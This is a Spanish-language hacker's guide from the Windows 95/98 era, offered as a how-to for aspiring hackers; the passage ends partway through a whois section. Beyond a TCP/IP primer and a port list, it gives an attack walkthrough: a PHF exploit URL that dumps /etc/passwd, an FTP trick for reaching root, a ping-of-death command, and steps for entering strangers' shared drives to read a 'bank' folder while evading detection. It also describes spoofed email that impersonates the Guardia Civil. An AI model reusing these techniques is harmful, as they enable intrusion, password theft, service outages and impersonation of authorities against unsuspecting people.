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  546
Guia version Deluxe

Atras

°±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°

                      °±ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»±°

                      °±ºÚ  LA SUPER GUIA DEL HACKER ¿º±°

                      °±º³ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»³º±°

                      °±º³ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ³º±°

                      °±ºÀ        by Nobody          Ùº±°

                      °±ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ±°

                      °±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°±²±°

 

                      <<<<<<<<<<VERSION DELUXE>>>>>>>>>>>

 

()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()

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  - INDICE:

 

  1 ......................... Que Es Esta Guia Exactamente ?

  2 ......................... Descripcion General De Windows.

   2-1 ...................... Seguridad En Windows.

  3 ......................... Protocolo TCP/IP y Demas Historias.

   3-1....................... Puertos.

   3-2....................... Ftp.

   3-3....................... Telnet.

  4 ......................... Hacking Basico En Windows.

   4-1 ...................... Phf.

   4-2 ...................... Ftp.

   4-3 ...................... Ping De La Muerte.

   4-4 ...................... Recursos Compartidos.

   4-5 ...................... Fake Mail Con El Telnet.

   4-6 ...................... Cambiando El Entorno.

   4-7 ...................... Finger.

   4-8 ...................... Whois.

   4-9 ...................... Tracert.

   4-10 ..................... Winipcfg.

   4-11 ..................... Ipconfig.

   4-12 ..................... Arp.

   4-13 ..................... Route.

   4-14 ..................... Netstat.

  5 ......................... Utilizacion De Tools.

   5-1 ...................... SkamWerks Lab version 1.1b.

   5-2 ...................... WaReZ! Version 95.12.31.

   5-3 ...................... John the Ripper v1.4.

   5-4 ...................... Gobbler v 2.1.

   5-5 ...................... Sharepasswd.

   5-6 ...................... Snadboy's Revelation v1.1.

   5-7 ...................... Keylog95.

   5-8 ...................... Glide.

   5-9 ...................... Win95 AnonyMail v 1.0.

   5-10 ..................... Hacker's Utility, V 1.02.

   5-11 ..................... Haktek v1.1.

   5-12 ..................... Claymore Brute Force.

   5-13 ..................... Skream's Port Listener V 2.3.

   5-14 ..................... WSOCK32 Winsock Spy Facility Version .91

   5-15 ..................... PWlTool V 4.0.

   5-16 ..................... PwlView V 1.01.

  6 ......................... Medidas De Seguridad.

   6-1 ...................... Protegiendo Nuestro Ordenador.

    6-1 ..................... Ataques Tipicos a Nuestro Windows.

    6-2 ..................... Encriptacion De Nuestra Informacion.

    6-3 ..................... Eliminar Informacion De Forma Segura.

    6-4 ..................... Eliminacion De Virus.

   6-1-1 .................... Protegiendo Nuestras Acciones.

    6-1-1-1 ................. Borrando Nuestras Huellas.

    6-1-1-2 ................. Encriptando Nuestro Correo.

  7 ......................... Sugerencias Para Un Mejor Hacking.

  8 ......................... Obtener Informacion.

  9 ......................... Despedida.

   9-1 ...................... Agradecimientos.

 

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  1. Que Es Esta Guia Exactamente ?

 

  Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no

  quiere aprender unix o no lo sabe manejar (grave error). Pues por esta

  razon esta guia esta enfocada a los usuarios de windows, principalmente

  los de win95/98. Por el contrario esta guia no se dedicara al NT o Unix,

  aunque por supuesto se hara referencia a estos sistemas sobre todo cuando

  son estos mismos Sistemas Operativos en los cuales se centraran nuestros

  actos, supuestamente legales

 

  Todo esto que digo puede sonar tonterias y puedes pensar que en win95/98 no

  podras llegar a ser un gran hacker porque es necesario conocer unix, y

  estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para

  hacer sus pinitos a aquellos que solo saber usar win95/98, yo por mi parte

  aconsejo aprender unix por varias razones que no viene a cuento en esta

  guia.

 

  Con esta guia te convertiras en un magnifico Hacker usando un sistema que

  no es propenso al hacking. Como es normal al usar win95/98 estaremos muy

  limitados en muchos aspectos pero podras aprender por ejemplo, algunos

  bug que podras usar en tu favor, la utilizacion de diversas herramientas

  hacker que no estan disponibles generalemente en win95/98 y ademas a usar

  los recursos que te ofrece Internet en tu favor, abreviando un poco tanta

  charla, llegaras a conocer la red de una forma diferente y a manejar

  win95/98 de forma distinta a lo conocido hasta ahora.

 

  Esta es la version Deluxe, de mi conocida guia LA SUPER GUIA DEL HACKER, la

  cual a sido revisada y actualizada, algunas herramientas como el Bo o Netbus

  no seran explicadas debido a que son realmente faciles de usar y ademas

  disponen de gran variedad de opciones y me saldria un documento monstruoso.

  Al igual que me he dejado muchas cosas, que a lo mejor gustaria que

  explicara pero realmente es imposible explicarlo todo, ademas el espiritu

  hacker es aquella persona que simplemente quiere conocer pero debe

  investigar por si misma, de nada sirve que este todo hecho. Por eso os digo:

 

                 "Si juegas a Hacker, piensa como un Hacker."

 

        Surfeando por Internet, he encontrado esta guia pasada a HTML y lo

  mas curioso es que han quitado mi nick del documento (que raro };-), pues

  para estos plagiadores, aqui teneis la version Deluxe para que la volvais

  a copiar!!!!!

 

  2. Descripcion General De Windows.

 

  Como todos sabemos el windows95/98 es un popular sistema operativo de la

  casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy

  sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad

  en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros

  sistemas operativos. Por ejemplo este es el caso de su "Multitarea" la cual

  es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y

  ejecuta otro programa y veras esa famosa Multitarea.

 

  El win95/98 es un sistema operativo de 32 bits multitarea, que es muy comodo

  para la gente que busca facilidad, pero no te enga¤es pensando que es un

  sistema ideal para Internet, puede que para un usuario convencional le sea

  estupendo pero para un Hacker se queda muy corto de calle, ya que le falta

  muchos servicios que otros sistemas operativos si traen como el que ya

  tantas veces he repetido, el Unix (se nota que me encanta??:).

 

  Aqui os dejo de dar la murga sobre win95/98 ya que este texto no esta

  destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no

  creo que este contando nada nuevo sobre windows o sea que mejor me callo y

  si no sabes mucho sobre win95/98, pues ya sabes comprate un libro.

 

   2-1. Seguridad En Windows.

 

  Como todos sabemos la seguridad en win95/98 es nula, es decir, win95/98 no

  tiene seguridad por si mismo, un claro ejemplo de esto que es las ventanas

  que nos piden un password las podemos cerrar pulsando sobre la X o tambien

  nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana

  sin meter ningun password.

 

  Por eso para que nuestro ventanas (nombre que se le da a win95/98

  tendremos que instalarle algun paquete de seguridad disponible por la red,

  que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque

  siempre puedes comprar algun paquete comercial de seguridad, en mi opinion

  alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y

  cuando llega la oportunidad de demostrar su calidad nos falla, ya que no

  hay nada seguro 100%.

 

  Proteger nuestro win95/98 es cosa de cada uno pero tranquilidad, que la cosa

  no es muy dificil, es cuestion de estar atento a las novedades, en otras

  palabras estar informado. Mas abajo ya te entereras de estas cosas.

 

  3. Protocolo TCP/IP y Demas Historias.

 

  El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que

  engloba casi todos los servicios que solemos usar como por ejemplo cuando

  hacemos telnet, mail, ftp o cualquier cosa.

 

  TCP/IP proviene de Transmission Control Protocol y Internet Protocol

  respectivamente. Por fortuna para los usuarios de win95/98, este protocolo

  ya viene incorporado nativamente en el sistema, al contrario que ocurria

  con el windows 3.x, el cual lo teniamos que instalar para poder conectar

  a Internet.

 

  Como has podido comprobar en realidad son 2 protocolos pero que estan

  unidos, el primero o sea el TCP es el encargado de las comunicaciones y de

  la transmision de los paquetes cuando estamos conectados a un servidor. El

  IP es el encargado de que los paquetes llegen a destino por orden aunque

  tomen caminos diferentes.

 

 

 

                     * Diagrama del TCP *  

 

 

        cliente ->  El cliente le envia una  -> servidor

                    solicitud de conexion

                    espeficicando el puerto

                    de conexion al servidor.

 

        cliente <-  El servidor le responde  <- servidor

                    que conoce su peticion

                    de conexion.

 

        cliente ->  El cliente le devuelve   <- servidor

                    otra vez la peticion y

                    el circuito ya esta

                    abierto.

 

                     * Diagrama del IP *

 

       ³Informacion general³Direccion IP³Direccion IP³Datos³

       ³de cabezera.       ³de origen   ³de destino. ³     ³

 

  Pues aqui se acaba la explicacion basica de este protocolo, para el que

  este interesado en profundizar le remito a que se pille el RFC 1180 o un

  fichero disponible en multitud de servidores, desgraciadamente no te puede

  asegurar el nombre del fichero ya que lo he encontrado de varias formas

  pero te dare el nombre que aparece al editarlo, ya que en todos es igual:

 

 

 

 

                             Introduction

                                  to

                        the Internet Protocols

 

                      C                       R

 

                              C       S

                  Computer Science Facilities Group

                              C       I

 

                      L                       S

 

                               RUTGERS

                  The State University of New Jersey

 

                             3 July 1987

 

 

 

 

   3-1. Puertos

 

  Antes ya os he explicado muy brevemente la comunicacion del protocolo en

  cuestion. Pues ahora os pongo una extensa lista sobre los distintos

  puertos y sus servicios correspondientes.

 

    echo                7/tcp

    echo                7/udp

    discard             9/tcp    sink null

    discard             9/udp    sink null

    systat             11/tcp

    systat             11/tcp    users

    daytime            13/tcp

    daytime            13/udp

    netstat            15/tcp

    qotd               17/tcp    quote

    qotd               17/udp    quote

    chargen            19/tcp    ttytst source

    chargen            19/udp    ttytst source

    ftp-data           20/tcp

    ftp                21/tcp

    telnet             23/tcp

    smtp               25/tcp    mail

    time               37/tcp    timserver

    time               37/udp    timserver

    rlp                39/udp    resource      # resource location

    name               42/tcp    nameserver

    name               42/udp    nameserver

    whois              43/tcp    nicname       # usually to sri-nic

    domain             53/tcp    nameserver    # name-domain server

    domain             53/udp    nameserver

    nameserver         53/tcp    domain        # name-domain server

    nameserver         53/udp    domain

    mtp                57/tcp                  # deprecated

    bootp              67/udp                  # boot program server

    tftp               69/udp

    rje                77/tcp    netrjs

    finger             79/tcp

    link               87/tcp    ttylink

    supdup             95/tcp

    hostnames         101/tcp    hostname      # usually from sri-nic

    iso-tsap          102/tcp

    dictionary        103/tcp    webster

    x400              103/tcp                  # ISO Mail

    x400-snd          104/tcp

    csnet-ns          105/tcp

    pop               109/tcp    postoffice

    pop2              109/tcp                  # Post Office

    pop3              110/tcp    postoffice

    portmap           111/tcp

    portmap           111/udp

    sunrpc            111/tcp

    sunrpc            111/udp

    auth              113/tcp    authentication

    sftp              115/tcp

    path              117/tcp

    uucp-path         117/tcp

    nntp              119/tcp    usenet        # Network News Transfer

    ntp               123/udp    ntpd ntp      # network time protocol (exp)

    nbname            137/udp

    nbdatagram        138/udp

    nbsession         139/tcp

    NeWS              144/tcp    news

    sgmp              153/udp    sgmp

    tcprepo           158/tcp    repository    # PCMAIL

    snmp              161/udp    snmp

    snmp-trap         162/udp    snmp

    print-srv         170/tcp                  # network PostScript

    vmnet             175/tcp

    load              315/udp

    vmnet0            400/tcp

    sytek             500/udp

    biff              512/udp    comsat

    exec              512/tcp

    login             513/tcp

    who               513/udp    whod

    shell             514/tcp    cmd           # no passwords used

    syslog            514/udp

    printer           515/tcp    spooler       # line printer spooler

    talk              517/udp

    ntalk             518/udp

    efs               520/tcp                  # for LucasFilm

    route             520/udp    router routed

    timed             525/udp    timeserver

    tempo             526/tcp    newdate

    courier           530/tcp    rpc

    conference        531/tcp    chat

    rvd-control       531/udp    MIT disk

    netnews           532/tcp    readnews

    netwall           533/udp                 # -for emergency broadcasts

    uucp              540/tcp    uucpd        # uucp daemon

    klogin            543/tcp                 # Kerberos authenticated rlogin

    kshell            544/tcp    cmd          # and remote shell

    new-rwho          550/udp    new-who      # experimental

    remotefs          556/tcp    rfs_server rfs# Brunhoff remote filesystem

    rmonitor          560/udp    rmonitord     # experimental

    monitor           561/udp                  # experimental

    garcon            600/tcp

    maitrd            601/tcp

    busboy            602/tcp

    acctmaster        700/udp

    acctslave         701/udp

    acct              702/udp

    acctlogin         703/udp

    acctprinter       704/udp

    elcsd             704/udp                  # errlog

    acctinfo          705/udp

    acctslave2        706/udp

    acctdisk          707/udp

    kerberos          750/tcp    kdc          # Kerberos authentication--tcp

    kerberos          750/udp    kdc          # Kerberos authentication--udp

    kerberos_master   751/tcp                 # Kerberos authentication

    kerberos_master   751/udp                 # Kerberos authentication

    passwd_server     752/udp                 # Kerberos passwd server

    userreg_server    753/udp                 # Kerberos userreg server

    krb_prop          754/tcp                 # Kerberos slave propagation

    erlogin           888/tcp                 # Login and environment passing

    kpop             1109/tcp                 # Pop with Kerberos

    phone            1167/udp

    ingreslock       1524/tcp

    maze             1666/udp

    nfs              2049/udp                  # sun nfs

    knetd            2053/tcp                  # Kerberos de-multiplexor

    eklogin          2105/tcp                  # Kerberos encrypted rlogin

    rmt              5555/tcp    rmtd

    mtb              5556/tcp    mtbd          # mtb backup

    man              9535/tcp                  # remote man server

    w                9536/tcp

    mantst           9537/tcp                  # remote man server, testing

    bnews           10000/tcp

    rscs0           10000/udp

    queue           10001/tcp

    rscs1           10001/udp

    poker           10002/tcp

    rscs2           10002/udp

    gateway         10003/tcp

    rscs3           10003/udp

    remp            10004/tcp

    rscs4           10004/udp

    rscs5           10005/udp

    rscs6           10006/udp

    rscs7           10007/udp

    rscs8           10008/udp

    rscs9           10009/udp

    rscsa           10010/udp

    rscsb           10011/udp

    qmaster         10012/tcp

    qmaster         10012/udp

 

 

  

 

  La verdad es que no te quejaras de esta lista. Si quieres mas

  informacion sobre los puertos con su debida explicacion mirate el RFC 1060.

 

   3-2. Ftp.

 

  Supongo que a estas alturas sabras lo que es el FTP, File Transfer Protocol

  o sea Protocolo de Transferencia de Ficheros y como podras observar en el

  listado de los puertos al FTP le corresponde el 21. Este servicio hay que

  conocerlo muy bien ya que ademas que nos sirve para subir o bajar ficheros

  tambien nos puede ayuda en nuestros propositos , por supuesto el hacking.

 

  Sino dispones de ningun cliente FTP, el propio win95/98 lleva incorporado

  uno, el unico problema es que no es muy vistoso ya que funciona en modo

  MS-DOS pero es muy versatil y perfecto para nosotros. Para ejecutarlo basta

  que activemos una ventana MS-DOS y en la linea de comados escribamos FTP y

  se pondra en modo FTP. Un ejemplo seria esto:

 

  c:>ftp   <- Escribimos FTP.

 

  ftp>      <- activado el modo FTP.

 

  Si no sabes manejarlo, escribiendo un "?" o "help" saldran todos los

  comandos disponibles del FTP, como no viene a cuento no los explicare pero

  buscando por hay podras hallar informacion de lo que hace cada cosa pero

  lo mejor es que lo averigues tu solito.

 

   3-3. Telnet.

 

  Por suerte los usuarios de win95/98 con el telnet tienen mas suerte o menos

  segun se mire, ya que el servico de Telnet de win95/98 que tambien esta

  incorporado en el sistema, es muy facil de manejar y ademas tiene ventana

  propia. Por eso si ejecutamos telnet se abrira una ventana y lo unico que

  tenemos que hacer es ir al menu en la opcion "conectar" y dentro de aqui

  la de "sistema remoto", entonces se activara otra ventana en la que

  nos saldra tres opciones, la primera "nombre de host" es donde queremos

  conectar, "puerto" a que puerto conectamos, por defecto el 23 y por ultimo

  tenemos "tipo de terminal" que no hace falta cambiarlo.

 

  El telnet es importante ya que es asi como entramos a una cuenta en un

  servidor y podremos hacer lo que tengamos permitido en el sistema.

  Logicamente entraremos en una cuenta si tenemos el login y password.

 

  4. Hacking Basico En Windows.

 

  Por fin ya se a acabo el latazo de la explicacion de como moverse por

  win95/98. Ahora ya podemos empezar a jugar un poco por inet , siempre

  por puro placer pero jamas con malos fines.

 

  En esta seccion os explicare varias maneras de hacking usando el win95/98 a

  pelo o sea sin utilizar ninguna herramienta externa.

 

   4-1. Phf.

 

  La primera tecnica ya es muy conocida y la verdad es que tendremos suerte

  si nos funciona pero todavia sigue vigente y doy fe de ello }:-) solo hay

  que saber buscar y tener paciencia.

 

  Para que esto nos funcione solo tenemos que tener un navegador instalado

  en nuesto win95/98, por defecto suele venir el IE o sea que no podras decir

  que no tienes, siempre y cuando hallas instalado los paquetes extras.

 

  Lo que tenemos que hacer es ir con nuestro navegador a algun servidor que

  corra sobre unix (muchos). Conectamos con un servidor en cuestion,

  www.victima.com, ya estamos viendo su web, llegados aqui, a esa linea le

  a¤adimos:

 

  http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

 

  Como ya he dicho si todo sale bien nos aparecera el fichero de passwords

  del servidor con lo que solo nos queda grabarlo en nuestro HD. Por supuesto

  el PHF tiene muchas variantes por eso te aconsejo que busce algo que

  profundice en esta tecnica al igual que tambien busca informacion sobre

  el fichero passwd de unix para comprenderlo.

 

   4-2. Ftp.

 

  Antes ya te he explicado el funcionamiento del FTP de win95/98, ahora lo

  usaremos para sacer el fichero de password de un servidor. Desde una

  ventana del MS-DOS llamamos al programa FTP y escribimos:

 

  ftp> open victima.com

  Conect to victima.com

  220 victim.com FTP server ready.

 

  ftp> quote user ftp

  331 Guest login ok, send ident as password.

 

  ftp> quote cwd ~root

  530 Please login with USER and PASS.

 

  ftp> quote pass ftp

  230 Guest login ok, access restrictions apply.

 

  ftp> dir (o lo que querramos)

 

  Y como siempre es el caso si todo sale bien estaremos metidos en el

  sistema como root (en lenguaje unix significa el superusuario, o sea el

  que controla el servidor). Por desgracia esta tecnica es muy antigua por

  lo que mas seguro no funcionara pero todo es posible.

 

   4-3. Ping De La Muerte.

 

  Esta tecnica no es propia de un Hacker sino de un Lamer (no quiero decir

  Cracker para no ofender a nadie ya que unicamente sirve para tirar un

  servidor o sea que se desconecta de Internet y esto puede representar

  grandes perdidas a una empresa. Con esto solo os quiero decir que aunque

  aqui os lo explicare no es cuestion que lo useis por Internet atacando

  servidores.

 

  La utilidad Ping sirve principalmente para saber si un servidor esta activo

  y ademas podemos calcular el trafico en la red segun el tiempo de su

  respuesta. Basicamente se le envia un paquete a un servidor y este nos

  contesta, solo que si se le envia un paquete muy grande puede llegar

  desordenado, por lo que el servidor pide al origen que le vuelva a enviar

  una parte o la totalidad del paquete, por lo que se produce un datagrama

  del ping muy grande y producira su caida. Para ejecutar este ataque solo

  tenemos que escribir :

 

  c:>ping -l 65510 victima.com

 

  Pues esta simple linea es muy destructiva, por lo que tened cuidado y antes

  de hacer tonterias leed la parte sobre seguridad de la guia.

 

   4-4. Recursos Compartidos.

 

 

  

 

  Como win95/98 NO tiene seguridad nos permite colarnos en el disco duro de

  otra persona por Internet y lo mejor del caso es que esta tecnica nos la

  proporciona los propios programas del win95/98. Por supuesto no todo es tan

  sencillo ya que hay que cumplir unos requisitos. Esto se debe a una mala

  configuracion del propio usuario al no configurar adecuadamente los

  recursos compartidos de su red corriendo sobre win95/98.

 

  Para colarnos en el HD de otro ordenador debenos tener nuestro ordenador

  bien configurado, o sea el compartir recursos bien puesto y tambien tener

  el Netbios instalado. Para configurarlo, tenemos que tener activado la

  opcion de "compartir ficheros e impresoras" en MIPC->Panel de Control->Red.

  SI por el caso la opcion esta desactivada simplemente pulsamos el boton de

  "a¤adir" y a¤adimos el servicio "Compartir ficheros e impresoras en redes

  Microsoft". En la misma ventana, debemos tener el "Primer inicio de sesion"

  en "Cliente para redes Microsoft". Tambien tiene que estar activado el

  "Cliente para redes Microsoft", que viene por defecto en MIPC->Acceso

  Telefonico a Redes->Conexion a Inet que usaremos->boton derecho->

  propiedades, debiendo estar activada la casilla "conectarse a la red".

 

  Ahora ya podemos ponernos manos a la obra, entonces volvemos a una

  ventana del MS-DOS y ejecutamos:

 

  c:>nbtstat -A (IP DE LA VICTIMA)

 

 

 

 

    NetBIOS Remote Machine Name Table

 

    Name               Type         Status

    ---------------------------------------------

    VICTIMAMACHINE    <00>    UNIQUE     Registered

    VICTIMAGROUP      <00>    GROUP      Registered

    VICTIMAMACHINE    <03>    UNIQUE     Registered

    VICTIMAMACHINE    <20>    UNIQUE     Registered

    VICTIMAGROUP      <1E>    GROUP      Registered

 

    MAC Address = 44-45-53-54-00-00

 

  Cuando ejecutamos este comando nos saldra una tabla como esta y el

  primer 'UNIQUE' de tipo <00> es el nombre de la victima y como puedes

  ver la maquina se llama VICTIMAMACHINE.

 

  Entonces ahora creamos/editamos el archivo LMHOSTS, si por el caso

  encontrais uno que pone LMHOSTS.SAM no lo toqueis, poniendo la direccion IP

  y el nombre de la maquina en cuestion, esto seria de la siguiente forma:

 

  c:>edit c:windowssystem32LMHOSTS

 

    VICTIMAMACHINE

 

  Entonces cerramos el fichero y desde un ventana del MS-DOS ejecutamos

  un comando para a¤adir el ordenador de la victima a nuestro Netbios y

  esto seria de la siguiente forma:

 

 

 

 

  c:>NBTSTAT -R

 

  Ahora nos interesa saber que recursos comparte la victima y esto tampoco

  nos traera complicacion alguna:

 

  c:>net view VICTIMAMACHINE

 

   Shared resources at VICTIMAMACHINE

 

   Sharename    Type         Comment

   -----------------------------------------

   BANCO        Disk

 

  Y como podemos observar comparte una carpeta llamada BANCO.

 

  Ahora ya podemos operar como si fuese una terminal mas en nuestra red local

  sobre win95/98. Ya solo nos queda ejecutar el comando que querramos, si por

  ejemplo queremos ver el contenido, solo tenemos que escribir:

 

  c:> dir VICTIMAMACHINEBANCO

 

  O para leer cualquier fichero de la carpeta:

 

  c:> type VICTIMAMACHINEBANCOCUENTABANCARIA.TXT

 

  Si queremos conectar al recurso compartido de forma grafica (o sea con

  una ventana y no seguir usando el MS-DOS), solo tenemos que pulsar

  INICIO->BUSCAR PC y dentremos el PC remoto pero esto solo es posible

  si hemos a¤adido la VICTIMAMACHINE a una unidad de red a la que podamos

  llamar, deberemos ejecutar:

 

  c:>NET USE e: MIPCWINDOWS

 

  Esta tecnica solo funciona si la maquina remota ejecuta win95/98 o win 3.11

  y ademas comparte las carpetas sin contrase¤a en modo "Acceso a nivel

  compartido" MIPC->Panel de control->Red | Control de acceso. Si utilizase

  el "Acceso a nivel de usuario" nuestro grupo debe estar autorizado en

  esa maquina. Podemos probar a intentar insertar el grupo de nuestra maquina

  para que este autorizada, esto lo conseguiremos con el Regedit, por

  desgracia los sistemas win95/98 y OSR2 que estan ejecutando el Servidor Web

  Personal de Microsoft desactivan esta posibilidad de acceso remoto tras

  informar de la conveniencia de hacerlo al usuario, ya que el servidor web

  obliga a compartir carpetas aun sin tener red local.

 

  Logicamente un usuario que haya tenido el despiste de conectarse a Internet

  con carpetas compartidas no toma luego medidas de control sobre quien

  entra en su maquina. Pero no hay que hacer ilusiones ya que podemos ser

  pillados si por ejemplo un usuario ejecuta el programa Netwatch, que

  muestra los usuarios conectados a nuestra computadora en cada momento y por

  supuesto el nombre de las computadoras por lo que es aconsejable cambiar el

  nombre de nuestra computadora usando el Regedit. Si nuestra maquina se

  llama HACKERNOBO cambiamos todas la cadenas donde aperezca este nombre con

  el Regedit a un nombre menos sospechoso.

 

  Si no conectamos la VICTIMAMACHINE como una unidad mas a nuestra

  computadora no nos tendremos que preocupar del Netwatch, asi conseguiremos

  una cierta seguridad personal ya que lo mas seguro, la VICTIMAMACHINE no se

  dara cuenta de nuestra entrada. Tambien hay que decir que si la

  VICTIMAMACHINE quiere apagar su computadora le saldra el mensaje del tipo

  "hay otros usuarios conectados a su ordenador, si apaga se desconectaran"

  si ocurre esto seremos pillados.

 

  Decir que el comando Net, dispone de muchos parametros que nos puede ser

  utiles y ademas podemos jugar durante mucho tiempo con ellos los cuales

  son los siguientes:

 

  c:>net /?

 

  For more information about a specific Microsoft NET

  command, type the command name followed by /?

  (for example, NET VIEW /?).

 

  NET CONFIG   Displays your current workgroup settings.

  NET DIAG     Runs the Microsoft Network Diagnostics program to

               display diagnostic information about your network.

  NET HELP     Provides information about commands and

               error messages.

  NET INIT     Loads protocol and network-adapter drivers without

               binding them to Protocol Manager.

  NET LOGOFF   Breaks the connection between your computer and

               the shared resources to which it is connected.

  NET LOGON    Identifies you as a member of a workgroup.

  NET PASSWORD Changes your logon password.

  NET PRINT    Displays information about print queues

               and controls print jobs.

  NET START    Starts services.

  NET STOP     Stops services.

  NET TIME     Displays the time on or synchronizes your computer's

               clock with the clock on a Microsoft Windows for

               Workgroups, Windows NT, Windows 95, or NetWare time server.

  NET USE      Connects to or disconnects from a shared

               resource or displays information about

               connections.

  NET VER      Displays the type and version number of the

               workgroup redirector you are using.

  NET VIEW     Displays a list of computers that share

               resources or a list of shared resources

               on a specific computer.

  The command was completed successfully.

 

  Pues aqui teneis todos los parametros disponibles del comando Net, por lo

  que solo nos queda jugar un rato para saber que es cada cosa. No es

  divertido si os lo explico todo.

 

   4-5. Fake Mail Con El Telnet.

 

  Esta tecnica nos ayuda a suplantar la direccion de correo electronica que

  querramos . La verdad es que tiene pocos usos, en mi opinion debido a

  una serie de razones pero siempre puede servir para gastar una buena

  broma enviando aun amigo un mail del director de la Universidad diciendo

  que ha sido expulsado por pirata }:-) y no te cuento si es un mail de la

  Guardia Civil.

 

  La verdad es que es muy sencillo de hacer pero por supuesto habra que tomar

  unas ciertas medidas de seguridad, que ya explicare luego. Lo primero

  que tenemos que hacer es ejecutar el cliente Telnet (sobre el manejo del

  Telnet ya lo explique mas arriba) y donde pone "puerto" en vez de poner

  el puerto 23 pondremos el 25 que corresponde al puerto del mail y esperamos

  a que nos conectemos a ese puerto, cuando conectemos nos saldra un

  mensaje y esta esperando a que pulsemoa alguna tecla:

 

    220 Howdy From mail.airmail.net running Smail 3.1.30.16 (ESMTP)

    [d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT)

 

  Muchas veces lo que podemos hacer es escribir "help" y saldran todos los

  comandos, tambien podemos escribir "echo" y la maquina nos contestara que

  esta lista. Para escribir un mail hay que seguir una serie de pasos:

 

   mail from:gc.uco@mad.servicom.es <- ponemos de donde viene.

 

  El servidor nos contesta:

 

   250 <gc.uco@mad.servicom.es> ... Sender Okay

 

  Ahora escribimos:

 

   rcpt to:nob_ody@xxxxxxxx.com <- a quien se lo enviamos.

 

  El servidor nos contesta:

 

 

 

 

   250 <nob_ody@xxxxxxxx.com> ... Recipiant Okay

 

  Ahora escribimos:

 

   data

 

  El servidor nos contesta:

 

   354 Enter mail, end with "." on a line by itself

 

  Ahora escribimos:

 

   To: nob_ody@xxxxxxxx.com

   From: gc.uco@mad.servicom.es

   Subject: Te querremos!!

   Bueno nobody, solo te queremos decir que nos gusta tu trabajo y te

   querremos fichar para el departamento.

                                              Direccion General de

                                                la Guardia Civil

   .  <- para terminar el mail.

 

 

 

 

  El servidor nos contesta:

 

   250 Mail accepted

 

  Ahora escribimos:

 

   quit  <- ya esta todo listo

 

  Pues ves como es realmente simple!! Pero antes de empezar a jugar con

  esta tecnica tenemos que asegurarnos que el servidor de mail no regrista

  nuestro IP, esto lo podremos averiguar si enviamos un mail de prueba a

  alguna cuenta anomima que tengamos. Si vemos que en la cabecera del mail

  sale nuestro IP ese servidor no sirve. Hay listas disponibles por Internet

  sobre servidores que permiten hacer esto.

 

   4-6. Cambiando El Entorno.

 

  Esta tecnica no es que sea propia del hacking ya que solo sirve para

  cambiar la pantalla de inicio o la de finalizar windows. Los logos de

  windows tienen un formato BMP 320X400 pero estan clamuflados en ficheros

  con extension SYS pero siguen siendo realmente BMP'S.

 

  El logo del principio de windows (ya sabes el de las nubes) lo podeis

  encontrar como:

 

  c:>logo.sys

 

  Si no encuentras este fichero, entonces lo que tenemos que hacer es crearlo

  y grabarlo alli mismo y cuando windows vuelva a reiniciar usara nuestro

  grafico y si lo volvemos a quitar, usara el de siempre. El logo del final

  (cuando cierra windows) esta en el directorio windows y lo podemos

  encontrar como:

 

  c:windows>logos.sys

 

  Logicamente es obligatorio que los graficos que querramos sustituir

  tengan de tama¤o 320x400 y sean ficheros BMP'S. Conviene que les pongamos

  el atributo de ocultos, que esto se hace con el comando Attrib, por

  ejemplo:

 

  c:windows>attrib +h logos.sys <- lo oculta.

 

  c:windows>attrib -h logos.sys <- lo hace visible.

 

   4-7. Finger.

 

  La utilidad Finger, muy usada en Unix, en realidad no esta disponible en

  Win95/98 pero como somos Hackers nosotros si que somos capaces desde

  Win95/98. Finger se utiliza para obtener informacion de un servidor. Puede

  parecer una tonteria pero es util, por ejemplo, podemos empezar a sacar los

  Login's de los usuarios y empezar a adivinar sus passwords, tambien podemos

  vigilar al root del servidor (cada cuanto tiempo conecta, cuando fue la

  ultima vez que estuvo, etc...) y asi muchas cosas.

 

  La verdad es que para usar el Finger usaremos cualquier navegador, IE o

  Netscape. Simplemete nos dirigimos a un url un poco especial, es un web

  que permite hacer Finger a cualquier host y nos deveulve los resultados.

  Esto se conoce como "Finger Gateway". El url del web es:

 

  http://www.hgp.med.umich.edu/cgi-bin/finger

 

 

  

 

   4-8. Whois.

 

  La utilidad Whois, al igual que Finger es muy comun en Unix y no esta

  disponible en Win95/98 pero comos somos asi de listos saldremos del apuro.

  Tambien sirve para pedir informacion de un servidor pero no el igual que

  Finger, ya que se diferencian en el tipo de informacion, el finger se suele

  utilizar mucho para buscar direcciones de correo mientras que el Whois,

  para averiguar informacion sobre un servidor en concreto.

 

  Para usar esta utilidad, ejecutamos el Telnet y nos dirigimos a un

  host muy especial:

 

  c:>telnet whois.internic.net

 

  Por supuesto Internic, una empresa privada norte ameriacana que se

  encarga de controlar los dominios de Internet, y podemos usar su base

  de datos para pedir informacion sobre un servidor.

 

  Cuando conectemos a la base de datos de Internic, escribimos "Whois nombre_

  del_servidor" y nos sacara la informacion.

 

   telnet InterNIC > whois aol.com

   Connecting to the rs Database . . . . . .

   Connected to the rs Database

   America Online (AOL-DOM)

   12100 Sunrise Valley Drive

   Reston, Virginia 22091

   USA

 

   Domain Name: AOL.COM

 

   Administrative Contact:

      O'Donnell, David B  (DBO3)  PMDAtropos@AOL.COM

      703/453-4255 (FAX) 703/453-4102

   Technical Contact, Zone Contact:

      America Online  (AOL-NOC)  trouble@aol.net

      703-453-5862

   Billing Contact:

      Barrett, Joe  (JB4302)  BarrettJG@AOL.COM

